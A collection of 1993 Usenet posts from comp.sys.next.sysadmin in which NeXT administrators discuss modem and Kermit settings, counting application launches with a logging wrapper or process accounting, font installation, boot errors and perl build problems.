zmodem. >>Can someone tell me what lines I need to add to either /etc/remote, /etc/ttys, >>and .kermrc to get up to 57600 baud with compression? Oh yeah. That's what the whole point of the post was. :) You don't need to muck with /etc/remote if you're not going to use tip. Here's my /etc/ttys entry for the SupraFAX dialout line: ttydfa "/usr/etc/getty D38400" vt100 on Note, this uses hardware flow control (*strongly* recommended). Here are excerpts from my /etc/gettytab file: h|std.38400|38400-baud:\ :sp#38400: x|D38400|Fast-Dial-38400:\ :nx=D19200:tc=38400-baud: Finally, here's my ~/.kermrc file for use with or without zmodem: set line /dev/cufa set speed 38400 set window 2 set block 3 set receive packet-length 2000 set send packet-length 2000 # Send & receive Xmodem, Ymodem, Zmodem macros define sx - !sx \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line) define rx - !rx \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line) define sb - !sb \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line) define rb - !rb \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line) define sz - !sz \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line) define rz - !rz \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 < \v(line) > \v(line) Best regards, Pred Bundalo -- Predrag S. Bundalo Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
Newsgroups: comp.sys.next.sysadmin.ctl Control: cancel <1993Apr25.235036.10816@news.cs.indiana.edu> From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: cmsg cancel <1993Apr25.235036.10816@news.cs.indiana.edu> Message-ID: <1993Apr25.235927.11127@news.cs.indiana.edu> References: <C60E5M.9o1@ux1.cso.uiuc.edu> Date: Sun, 25 Apr 1993 23:59:19 -0500
Newsgroups: comp.sys.next.sysadmin From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Re: Counting program launches Message-ID: <1993Apr25.235929.11142@news.cs.indiana.edu> Organization: Objectario References: <C60E5M.9o1@ux1.cso.uiuc.edu> Date: Sun, 25 Apr 1993 23:59:18 -0500 >Can anyone come up with a way to count the number of times a >certain NeXTSTEP app is launched? Here's an idea. Suppose you have "Foo.app". Move Foo.app/Foo to Foo.app/realVersionOfFoo, then replace Foo.app/Foo with a small custom program that looks just like Foo - same icon, registered to handle the same extensions, services, etc etc - and it does something like main(argc, argv) int argc; char *argv[]; { log_that_Foo_was_launched(); // whatever. execv( "/the/path/to/realVersionOfFoo", argv); } I did something like this for a customer that had 2 versions of a particular program, one that worked with an ADB keyboard, one that worked with the old keyboard. (The original program didn't bother to figure out which keyboard was in use - users were expected to run the appropriate version themelves. That was a pain.) Instead of logging, my "cover" program did a little test to see which keyboard was in use, then exec'd the appropriate version of the original binary. It's been working out well so far. You might be able to use this trick for other things - restrict certain programs so that they can only be run under certain conditions, etc etc. There may be pissues related to the weird path being handed to the real program when it's exec'd. Also you have to be careful that your fake program pretends to handle the same services, file extensions, etc etc as the original. It doesn't need to do anything about those things, since the real program which is exec'd will handle them. Hope this helps, Steve -- Steve Hayman Objectario, Toronto, Ontario shayman@objectario.com
Newsgroups: comp.sys.next.sysadmin From: gvh@metrosoft.com (Gordon Van Huizen) Subject: Re: Counting program launches Message-ID: <1993Apr25.230255.8393@metrosoft.com> Sender: gvh@metrosoft.com Organization: Metrosoft References: <1993Apr25.122526.7779@prim> Date: Sun, 25 Apr 1993 23:02:55 GMT In article <1993Apr25.122526.7779@prim> dave@prim.demon.co.uk (Dave Griffiths) writes: > But well behaved dock extenders will use the WM to launch > the app for them anyway. Indeed they do. :-) -- Gordon Van Huizen vox: 619.488.9411 fax: 619.488.3045 Metrosoft gvh@metrosoft.com [NeXTmail welcome] "Our ship is coming in, it just isn't black." - MTD 2/93
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: autoCompact in Mail.app 3.0 ? In-Reply-To: guest@pion.lanl.gov's message of Sat, 24 Apr 1993 00:24:21 GMT To: guest@pion.lanl.gov (T8 Guests) Message-ID: <CEDMAN.93Apr25195719@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Apr24.002421.17607@newshost.lanl.gov> Date: Sun, 25 Apr 1993 23:57:19 GMT In article <1993Apr24.002421.17607@newshost.lanl.gov> guest@pion.lanl.gov (T8 Guests) writes: Is there a way to get 3.0 Mail.app to automatically compact mailboxes? strings /NextApps/Mail.app/Mail shows a variable autoCompact (along with autoFetch, autoLaunch, autoIndent, KeyBindings, etc.), but dwrite Mail autoCompact YES has no effect. if this is not yet implemented in Mail.app, do any of the add-on Mail.app utilities available on archives allow for auto-compacting all accessed mbox's on quitting Mail.app ? Not yet, but in a few days I'm going to upload the next release of my Mail.app utilities package which includes a binary to compact Mail.app mailboxes. Just run it in LogoutHook or something like that. Carl Edman
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Counting program launches In-Reply-To: dave@prim.demon.co.uk's message of Sun, 25 Apr 1993 12:25:26 +0000 To: dave@prim.demon.co.uk (Dave Griffiths) Message-ID: <CEDMAN.93Apr25200222@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <C60E5M.9o1@ux1.cso.uiuc.edu> <C60q43.KJs@ux1.cso.uiuc.edu> <1993Apr25.122526.7779@prim> Date: Mon, 26 Apr 1993 00:02:22 GMT In article <1993Apr25.122526.7779@prim> dave@prim.demon.co.uk (Dave Griffiths) writes: In article <C60q43.KJs@ux1.cso.uiuc.edu> lemson@uiuc.edu writes: >lemson@ux1.cso.uiuc.edu (David Lemson) writes: > >>Can anyone come up with a way to count the number of times a >>certain NeXTSTEP app is launched? Perhaps a process that watches the >> [..] >>used and how often. I imagine this would run on the NFS server that >>houses the applications. I don't care which machines are taking it, > >An addition to my original note: I would really rather this ran on >the NFS server(s) that house the apps. I don't want to have to go >pester all the people that mount my apps to install something on >their own machines, or to have to go collect system accounting files >from the 90-odd machines that I'm responsible for. > >Is something like this only a dream? (I have had 2 'me too's' for >this so far already, so if anyone has a good answer, posting is >OK!) First the bad news. It's impossible to implement this centrally _only_ on your NFS server machine because the NFS server doesn't know the difference between "applications" and any other type of file - it just handles read requests. Now the good news. You can implement such a counting mechanism by running a program on each client machine. If you like, they can all report their results automatically back to another program running on the server. (It would be useful if all the machines on your network ran a standard rc script held on the server at boot time, then you wouldn't need to bother with installing this program on every machine). Why do things so complicatedly ? If you can execute a command on the remote machine from time to time (or grab one file from time to time), why not use the OS facilities ? Just remove the '#' in front of accton in /etc/rc (which is shipped commented out in 2.x and 3.0). Then run 'sa' or grab /usr/adm/acct from time to time. All information about all processes ever run is in there. No code needed in your apps. Carl Edman
From: isbell@cats.ucsc.edu (Art Isbell) Newsgroups: comp.sys.next.sysadmin Subject: Re: Configuring SUPRA Fax modem to fastest data possible Date: 26 Apr 1993 08:25:59 GMT Organization: Cubic Solutions - NeXT software development and consulting Message-ID: <1rg6anINNeo@darkstar.UCSC.EDU> References: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> <tlm.735624828@scl1.al.iastate.edu> In article <tlm.735624828@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes: >In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes: > >>I am using kermit as the transfer protocol. > >And as well all know that basically explains everything!! :) :) >Kermit is *extremely* slow, particularly if the packet size is too >small. If you can install kermit 5A on both ends of your communications link and run them with at least 2 sliding windows and large packets (9K / # sliding windows), you should see kermit stuffing compressed data through your serial port faster than the modem can transmit it (causing hardware flow control to limit the transfer rate). Pre 5A kermits are indeed quite slow. -- Art Isbell Cubic Solutions NeXT Registered Developer #745 NeXT software development and consulting NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154 USmail: 95018-9442 Fax: (408)335-2515
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.sysadmin Subject: Re: Counting program launches Date: 26 Apr 1993 11:35:20 +0100 Organization: me organized? That's a joke! Message-ID: <1rgdt8$49j@steffi.demon.co.uk> References: <C60E5M.9o1@ux1.cso.uiuc.edu> <1993Apr25.235929.11142@news.cs.indiana.edu> "Steve Hayman" <sahayman@cs.indiana.edu> wrote > main(argc, argv) > int argc; > char *argv[]; > { > log_that_Foo_was_launched(); // whatever. > execv( "/the/path/to/realVersionOfFoo", argv); > } > >I did something like this for a customer that had 2 versions of a >particular program, one that worked with an ADB keyboard, one that >worked with the old keyboard. (The original program didn't bother to >figure out which keyboard was in use - users were expected to run the >appropriate version themelves. That was a pain.) Why is this necessary?, shouldn't the original program be written such that it does not depend on a particular keyboard? What aspects of the keyboard are dependent? What ISV's are distributing two different versions of their programs? What if NeXT announced another keyboard would you have to go thru this same process of modifying the application and creating all of the redundancy again. -- Real programmers don't create classes, they build heirarchies. (me) "If it doesn't compile and run emacs, it's not a computer." (Erik C. Sowa)
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: List of defaults? Date: 26 Apr 1993 18:22:19 GMT Organization: University of Houston Message-ID: <1rh98r$5i4@menudo.uh.edu> Is there a list anywhere of all the various system defaults that can be set with dread? I.e, for Loginwindow, Workspace, System, etc... If so, can someone send it to me? -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: oblanc@colombie.univ-paris8.fr (Olivier Blanc) Subject: System error: HELP HELP Message-ID: <9304261811.AA14989@colombie.univ-paris8.fr> Originator: daemon@watcgl.uwaterloo.ca Sender: news@watcgl.uwaterloo.ca (USENET News System) Organization: Computer Graphics Laboratory, University of Waterloo, Ontario, Canada Date: Mon, 26 Apr 1993 18:11:04 GMT Hi, I have the following ereror when my NeXT Cube is booting. The error occurs just after the inetd has been started: ASSERT ERROR () pid:(214) (4/29 14:15) chdir failed /usr/spool/uucp (-1) I think that it is comming from the netinfo database. Also, when I am touching to the netinfo database (ie netinfo prg or userManager), I have the error comming up on the console. I tried to replace the netinfo database with an old one from a backup but the error is still occuring. Does anyone have the idea of what is going on??? and how to solve the problem? Thanks to answer to me directly, I'll do a summary of the answers. olivier ----------------------------------------------------------------------------- Olivier Blanc Universite de Paris VIII- Vincennes 3, rue de la liberte 93 St Denis, France olivier@colombie.univ-paris8.fr oblanc@watcgl.uwaterloo.ca
Newsgroups: comp.sys.next.sysadmin From: root@azetsys.uucp (Operator) Subject: How to read "NewsGrazer" postings? Hi, Message-ID: <1993Apr26.204632.350@azetsys.uucp> Organization: CleverLever Date: Mon, 26 Apr 1993 20:46:32 GMT Will someone please explain to me, how I can read "NewsGrazer" postings, I am not on the net, get my newsfeed via uucp from uunet, I have "NewsGrazer" and a utility to read NewsGrazer postings on one of the CD-ROM's, but so far I was unable to make either to work, what' the secret? In the meanwhile imagining that all the best postings are in NewsGrazer format, and I am left out. Thank you in advance, Geza.. azetsys!root@uunet.UU.NET
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: Print Quotas Message-ID: <1993Apr26.232152.147458@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo Date: Mon, 26 Apr 1993 23:21:52 GMT I grabbed the "Quotas" disk and printing quotas utility from sonata, and it unfortunately does NOT work with NeXT printers! It was expecting an intelligent Postscript printer that it could request a page count from. So my questions stand: 1: does anyone know of a print quota paackage that works? 2: if not, is there anything that'll go through and parse the printcap accounting files? (as to build a script based print controller, and turn it on and off day by day as the file quotas currently work. 3: absolute worse, how does the print information flow, such that I might be able to insert my own filter? i.e. app -> printcap -> lpd -> remote print machine -> printer - Kevin Wang
Newsgroups: comp.sys.next.sysadmin,fr.comp.sys.next From: oblanc@watcgl.uwaterloo.ca (Olivier Blanc) Subject: System error: Help Help Message-ID: <C64qA0.J9w@watcgl.uwaterloo.ca> Keywords: ASSERT ERROR Sender: news@watcgl.uwaterloo.ca (USENET News System) Organization: Computer Graphics Laboratory, University of Waterloo, Ontario, Canada Date: Tue, 27 Apr 1993 06:34:48 GMT Hi, I have the following ereror when my NeXT Cube is booting.The error occurs just after the inetd has been started: ASSERT ERROR () pid:(214) (4/29 14:15) chdir failed /usr/spool/uucp (-1) I think that it is comming from the netinfo database. Also, when I am touching to the netinfo database (ie netinfo prg or userManager), I have the error comming up on the console. I tried to replace the netinfo database with an old one from a backup but the error is still occuring. Does anyone have the idea of what is going on??? and how to solve the problem? Thanks to answer to me directly, I'll do a summary of the answers. Olivier ------------------------------------------------------------------------------- Olivier Blanc Universite de Paris VIII- Vincennes 3, rue de la liberte 93 St Denis, France olivier@colombie.univ-paris8.fr oblanc@watcgl.uwaterloo.ca -- Olivier Blanc Computer graphics laboratory Universite de Paris VIII- Vincennes University of Waterloo 2, rue de la liberte Waterloo, Ontario, Canada 93 St Denis, France
Newsgroups: comp.sys.next.sysadmin From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: Counting program launches Message-ID: <1993Apr26.215932.2268@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems References: <1rgdt8$49j@steffi.demon.co.uk> Date: Mon, 26 Apr 1993 21:59:32 GMT In article <1rgdt8$49j@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > >I did something like this for a customer that had 2 versions of a > >particular program, one that worked with an ADB keyboard, one that > >worked with the old keyboard. (The original program didn't bother to > >figure out which keyboard was in use - users were expected to run the > >appropriate version themelves. That was a pain.) > > Why is this necessary?, shouldn't the original program be written such that it > does not depend on a particular keyboard? What aspects of the keyboard > are dependent? What ISV's are distributing two different versions of > their programs? What if they were two versions of a commercial program? Should have learnt better the second time, but nobody's perfect. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 paull@cix.compulink.co.uk Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin From: dg@synex.andi.org (David M. Gursky) Subject: Re: install fonts Message-ID: <C63r4B.24v@nextsrv1.andi.org> Sender: usenet@nextsrv1.andi.org (usenet) Organization: Association of NeXTSTEP Developers International References: <1rcd1b$6n9@news.cerf.net> Date: Mon, 26 Apr 1993 17:55:22 GMT In article <1rcd1b$6n9@news.cerf.net> alexhart@cerf.net (Alex Hartley) writes: > > Can someone send be a little stap-by-step method of installing more > fonts in my machine using NS 3.0 so that the fonts all show up in the > font panel? 1) Copy the fonts in question into one of three folders: a) /NextLibrary/Fonts b) /LocalLibrary/Fonts c) ~/Library/Fonts Since (c) would only install the fonts for a particular user, and it is generally recommended not to install user added options into the /Next... directories, I would recommend you use (b) 2) Rebuild (or build initially) the Adobe Font Metrics directory. Assuming you selected /LocalLibrary/Fonts, the command line would be buildafmdir /LocalLibrary/Fonts Don't forget you will need write access to whichever directory you install the fonts in.
Newsgroups: comp.sys.next.sysadmin From: derungjj@cda.mrs.umn.edu (John DeRung) Subject: Ghost processes Message-ID: <C64Fzs.JK0@cda.mrs.umn.edu> Keywords: process Organization: University of Minnesota - Morris Distribution: usa Date: Tue, 27 Apr 1993 02:52:40 GMT With in the last month or so our NeXTstation Turbo has had ghost process or what appear to be "ghost" process created. In particular, what worries me is the fact that they appear to be copies of the "mach-task" processes which start a boot time. Normal 5 of these are created at boot-time and until recently things were happy. (see below) But recently we have more and more copies of these ghost processes. In a day we will get anywhere from 5 to 30 additional copies of these processes running. The only significant change to the machine in the last month or so was the addition of a terminal to one of its serial ports. I even removed this and changed the /etc/ttys back to previous settings and rebooted. But the processes still appeared. -1 ? ?W< 0:00 <mach-task> -1 ? S 0:00 <mach-task> -1 ? S 0:00 <mach-task> -1 ? S 0:00 <mach-task> -1 ? S < 0:00 <mach-task> -1 ? N 0:00 <mach-task> <<<---- Ghost? Significant facts: the machines is running NeXTstep 3.0 and sharing a disk from another NeXTstation running NS 2.1 via NFS. All of the Netinfo data seems to be correct and all of the mounts are unchanged since we got it working in Oct. There are multiple people (students) who use the machine during the day but these processes appear even when nobody is logged onto the machine and no user processes are running. No error messages are appearing anywhere (console.log, /usr/adm/message....). To make things even stranger, the number of these processes does not always increase, there are times when they go down only to be replace by additional ones. I'd appreciate any suggetions anyone can give me. Thanks, John DeRung derungjj@cda.mrs.umn.edu
Newsgroups: comp.sys.next.sysadmin From: karthy@dannug.dk (Karsten Thygesen) Subject: Re: Alternative to ixBuild In-Reply-To: roberto@softDesign.COM's message of Thu, 22 Apr 1993 12:08:40 GMT Message-ID: <KARTHY.93Apr25160914@dannug.dannug.dk> Sender: news@dannug.dk (Usenet news owner) Organization: Dannug - Danish NeXT Users Group References: <1993Apr22.120840.7420@softDesign.COM> Date: Sun, 25 Apr 1993 15:09:14 GMT >>>>> On Thu, 22 Apr 1993 12:08:40 GMT, roberto@softDesign.COM (Roberto Arrocha) said: Roberto> I am rebuilding the man pages directory Roberto> (NextLibrary/Documentation/ManPages) index. In the past I've used Roberto> ixBuild -fman -Nwhatis -Ncat\* -V Roberto> ..but ixBuild is no longer. I tried building the index with Librarian, but Roberto> the man pages are not properly formated. Roberto> Can anyone suggest an alternative to build a Librarian index? how about "ixbuild" without capital b Karsten.
Newsgroups: comp.sys.next.sysadmin From: tlm@iastate.edu (Tom Marchioro) Subject: Re: Configuring SUPRA Fax modem to fastest data possible Message-ID: <tlm.735874160@scl1.al.iastate.edu> Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA References: <1ra7gjINNqit@senator-bedfellow.MIT.EDU> <tlm.735624828@scl1.al.iastate.edu> <1rg6anINNeo@darkstar.UCSC.EDU> Date: Tue, 27 Apr 1993 01:29:20 GMT In <1rg6anINNeo@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell) writes: >In article <tlm.735624828@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes: >>In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes: >> >>>I am using kermit as the transfer protocol. >> >>And as well all know that basically explains everything!! :) :) >>Kermit is *extremely* slow, particularly if the packet size is too >>small. >If you can install kermit 5A on both ends of your communications link and run >them with at least 2 sliding windows and large packets (9K / # sliding >windows), you should see kermit stuffing compressed data through your serial >port faster than the modem can transmit it (causing hardware flow control to >limit the transfer rate). >Pre 5A kermits are indeed quite slow. >-- Thanks for the clarification Art! (Hey, will you be at NeXTworld? Maybe we can do a ride together :) Thanks also to Pred Bundalo who made some other corections to my rather unspecific post. I was trying to praise SLIP as a *general* way of interfacing your NeXT and it was wrong to imply it can give you the best file transfers. A shas been pointed out, the best way to do that is zmodem etc. (with all packet sizes and such properly set up). The only versions of Kermit I ever used actively were pre 5A and those were indeed slow, so I switched to tip, and now SLIP. The nicest thing about SLIP is having access to all of these wonderful network related NeXT apps.... Can't wait for the Mail.app replacement from Xexos :) TLM
Newsgroups: comp.sys.next.sysadmin From: stuarts@landau.ucdavis.edu (Stuart Staniford-Chen) Subject: Irritating but intermittent network bug Message-ID: <C64KL5.Cq1@ucdavis.edu> Originator: stuarts@landau.ucdavis.edu Sender: usenet@ucdavis.edu (News Administrator) Organization: Physics, UC Davis Distribution: usa Date: Tue, 27 Apr 1993 04:31:52 GMT For a while I've been having this really irritating problem, but haven't got around to fixing it because my computer just has fits of doing it for a few hours at a time. Otherwise it's fine. The problem is that the machine seems almost totally unable to reach other machines on the network (via ping, telnet, NewsGrazer etc). If you ask to rlogin to another machine it will be unable to connect before timing out - usually before it even gets the name resolved, but the problem persists even using numerical addresses. NewsGrazer will fail to find the NewServer. However, once in a while the machine will get through to something and then it's fine - having made a connection it will happily transfer large files or whatever. I have made very little progress in correlating the problem to anything. ps -ax reveals no cpu hog type processes, and I haven't noticed an association with any particular application. Rebooting doesn't help. Other machines on the (heterogeneous) network are not affected. Usually the problem goes away of its own accord after a few hours or a day. Most programs will run absolutely fine while the problem is happening. The only odd thing I have noticed is that if I try to do ps -u, or any ps with the u option, it will print the header line and then sit stuck - somehow whatever screws up the network prevents the -u option on ps from working too. I might have several windows open at once trying to log on to various systems and trying to do ps -aux. They will all be stuck until suddenly all succeed at once. Then the next thing I try will not work for several minutes. It's extremely frustrating. So, can anyone offer any suggestions as to what could cause this? Has anyone seen anything remotely like it? I'm on a 68040 25MHz mono station running 2.1. Thanks, Stuart.
Newsgroups: comp.sys.next.sysadmin From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: Re: install fonts Message-ID: <1993Apr27.101459.26251@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University References: <C63r4B.24v@nextsrv1.andi.org> Date: Tue, 27 Apr 1993 10:14:59 GMT David M. Gursky (dg@synex.andi.org) wrote: : buildafmdir /LocalLibrary/Fonts Isn't it true that the buildafmdir with NS 3.0 is broken and you need the copy from your 2.x system? Just curious. Joe -- | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library j.rosenfeld@csuohio.edu
Newsgroups: comp.sys.next.sysadmin From: vasco@bvl.pt (antonio vasconcelos) Subject: Adding an SCSI disk drive Message-ID: <1993Apr27.104317.18935@bvl.pt> Organization: Bolsa de Valores de Lisboa Date: Tue, 27 Apr 1993 10:43:17 GMT Hello there, I'm a very undertrained sysadmin of a NeXT Station Turbo '40 Our 400megs HD is full and it's time to add some space. We are TRYING to buy an NeXT-Ready drive from our NeXT Supplier but no lucky so far, we placed the invoice 3 months ago and we still don't got it. So, I'm ready to forguet our supplier and get an plain SCSI-2 drive, probablly a Quantum. So, what do I have to know ??? How do I tell NS that now there is a disk on address X (by the way, any restriction about addresses ???) with nn megabytes and such ??? We are running NS 2.2 but we will change to 3.0 after we have the external disk working. Please don't use RTF or NeXT Mail because I don't use to read mail/news on the Next console. Thanks in advance. -- regards, _____ |/asco (Antonio Vasconcelos, Lisbon Stock Exchange: vasco@bvl.pt)
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: can't kermit under certain circumstances - a mistery?!? Date: 27 Apr 1993 17:18:43 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1rjptj$1a4@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I am logged into my cube "ops". Everything is nifty and kermit works great. Then I say "rsh ops" or "rlogin ops" to open up a new session. Then I can't kermit from the new sessions! If I say "telnet ops" then kermit works fine. What the heck is going on? Take care...Paul Error message: %kermit -s habos.piskota Error opening /dev/tty congm: No such device or address Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: bill@mathnx.math.byu.edu (Bill Smith) Newsgroups: comp.sys.next.sysadmin Subject: ftp accounting Date: 27 Apr 1993 17:55:57 GMT Organization: Brigham Young University Distribution: world Message-ID: <1rjs3d$8bh@hamblin.math.byu.edu> We have a machine with anon-ftp on it, and I was wondering if we can do the following: 1. set up some kind of password protection on certain files. 2. set up accounting (who ftp-login/ what they did). -THanks, Bill --
Newsgroups: comp.sys.next.sysadmin From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Re: Counting program launches Message-ID: <1993Apr27.140728.19559@news.cs.indiana.edu> Organization: Objectario References: <C60E5M.9o1@ux1.cso.uiuc.edu> <1993Apr25.235929.11142@news.cs.indiana.edu> <1rgdt8$49j@steffi.demon.co.uk> Date: Tue, 27 Apr 1993 14:07:17 -0500 >> [my hack that figures out which binary to run depending on what keyboard >> you have] >Why is this necessary?, shouldn't the original program be written such that it >does not depend on a particular keyboard? In an ideal world, this hack wouldn't be necessary and all software would be able to figure out what kind of keyboard you were using, but in this particular case we were stuck with a commercial package that required the user to figure out which version of the program to run. Our users didn't want to do that. Hence the hack.
From: marsella@athos.rutgers.edu (Stacy Marsella) Newsgroups: comp.sys.next.sysadmin Subject: ACL for 2.0 under 3.0 Message-ID: <Apr.27.18.06.53.1993.10996@athos.rutgers.edu> Date: 27 Apr 93 22:06:54 GMT Organization: Rutgers Univ., New Brunswick, N.J. Is it possible to get Franz's Allegro CL 3.1.20 for release 2.0 of the OS to work under 3.0 of the OS? If so is there some magic to doing it. You can't build the image under 3.0 because of a missing lib (libdsp_s) and a 2.0 image gets an error because the minor versions of the /usr/shlib/libNext_s... libraries don't match. My next step is to try copying 2.0 libraries over but I thought I would query the net first. Thanks for any help. S.C.M.
From: bill@ganesha.cognet.ucla.edu (William Eldridge) Newsgroups: comp.sys.next.sysadmin,comp.lang.perl Subject: Prob. w/ perl 4.036 on Next 3.0 Date: 27 Apr 1993 23:44:30 GMT Organization: UCLA Cognitive Science Research Program Message-ID: <1rkggu$evo@alamut.cognet.ucla.edu> I'm having problems compiling perl 4.036 on a Next Turbo w/ NextStep 3.0. I'm using the hints for Next, and also using gcc 2.3.3 (2 of the perl tests failed compiling with cc as well, so I don't think this is the problem.) When playing around with compile options, we did get it to compile, but with errors in the op/groups test (group routines not implemented at op/groups.t line 11.) and comp/cpp (a fail on test 2 for caps). It seems that the /usr/include files on Nexts might be the problem, since it looks like even in the configure step, it starts looking strange. So if someone has some insight... Thanks, Bill -- Bill Eldridge bill@cognet.ucla.edu *** He who remembers the past is condemned to misread it. *** - George Santana ganesha:55# make Expect 27 shift/reduce and 57 reduce/reduce conflicts /usr/bin/yacc -d perly.y conflicts: 27 shift/reduce, 57 reduce/reduce sh ./perly.fixer y.tab.c perly.c Patching perly.c to allow dynamic yacc stack allocation Assuming bsd4.3 yaccpar mv y.tab.h perly.h echo 'extern YYSTYPE yylval;' >>perly.h `sh cflags perly.o` perly.c CCCMD = gcc -c -traditional -Dvolatile=__volatile__ -I/usr/include/bsd -O In file included from /NextDeveloper/Headers/ansi/setjmp.h:4, from perl.h:136, from perly.y:41: /NextDeveloper/Headers/ansi/machine/setjmp.h:11: `#include' expects "fname" or <fname> In file included from /usr/include/bsd/sys/param.h:42, from perl.h:141, from perly.y:41: /usr/include/bsd/machine/machparam.h:11: `#include' expects "fname" or <fname> In file included from /usr/include/bsd/sys/signal.h:22, from /usr/include/bsd/sys/param.h:100, from perl.h:141, from perly.y:41: /usr/include/bsd/machine/signal.h:11: `#include' expects "fname" or <fname> In file included from /usr/include/bsd/sys/types.h:86, from /usr/include/bsd/sys/param.h:185, from perl.h:141, from perly.y:41: /NextDeveloper/Headers/bsd/machine/label_t.h:11: `#include' expects "fname" or <fname> *** Exit 1 Stop.
From: leeyn+@pitt.edu (Yongwon L Lee) Newsgroups: comp.sys.next.sysadmin Subject: HELP:: lisp upgrade Message-ID: <10210@blue.cis.pitt.edu> Date: 28 Apr 93 03:48:06 GMT Sender: news+@pitt.edu Organization: University of Pittsburgh Originator: leeyn@unixd3.cis.pitt.edu I am trying to upgrade 1.0 to 3.0. (I have 68030 cube) Step 3.0 does not come with Allegro lisp. Is there a way to upgrade lisp in system software 1.0 for step 3.0 ? Have anyone done this ? Could anyone give me some information about how to upgrade lisp for step 3.0 ? Please email to yongwon@cs.pitt.edu. Thank you. Y. Lee
Newsgroups: comp.sys.next.marketplace,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin Subject: Survey Pros & Cons OOP Message-ID: <1993Apr28.002754.3363@msus1.msus.edu> From: rustad@mhd.moorhead.msus.edu Date: 28 Apr 93 00:27:54 -0600 Organization: Moorhead State University, Moorhead, MN Object-Oriented Programming Survey This survey is a meant to find the current relationship between programmers and Object-Oriented Programming. Please return this survey before May 5, 1993. Return to rustad@mhd.moorhead.msus.edu Would you like a copy of the published statistics? (yes/no) _______ Your Occupation: __________________________________________________________________________ Years of Programming Experience: __________________________________ Programming Languages you're associated with: __________________________________________________________________________ Years of OOP experience: __________________________________ Your preferred OOP language: __________________________________________________________________________ Is there an advantage to OOP (yes/no) _________ Is OOP coding faster than traditional programming (yes/no) _________ Is OOP maintenance quicker and easier than traditional (yes/no or opinion): __________________________________________________________________________ Comments: (pros & cons with Object-Oriented Programming)
From: slv0y@cc.usu.edu Newsgroups: comp.sys.next.sysadmin Subject: "Share"ing a file with a Mac via Appletalk Message-ID: <1993Apr27.145001.66846@cc.usu.edu> Date: 27 Apr 93 14:50:01 MDT Organization: Utah State University My NeXT machines can see my Mac via Appletalk just fine. (I'm using 3.0) What I want to know is if there is any way to "share" a directory on a NeXT machine with the Mac so that the Mac can log into the NeXT and get at a file? Thanks, John Z. slv0y@cc.usu.edu
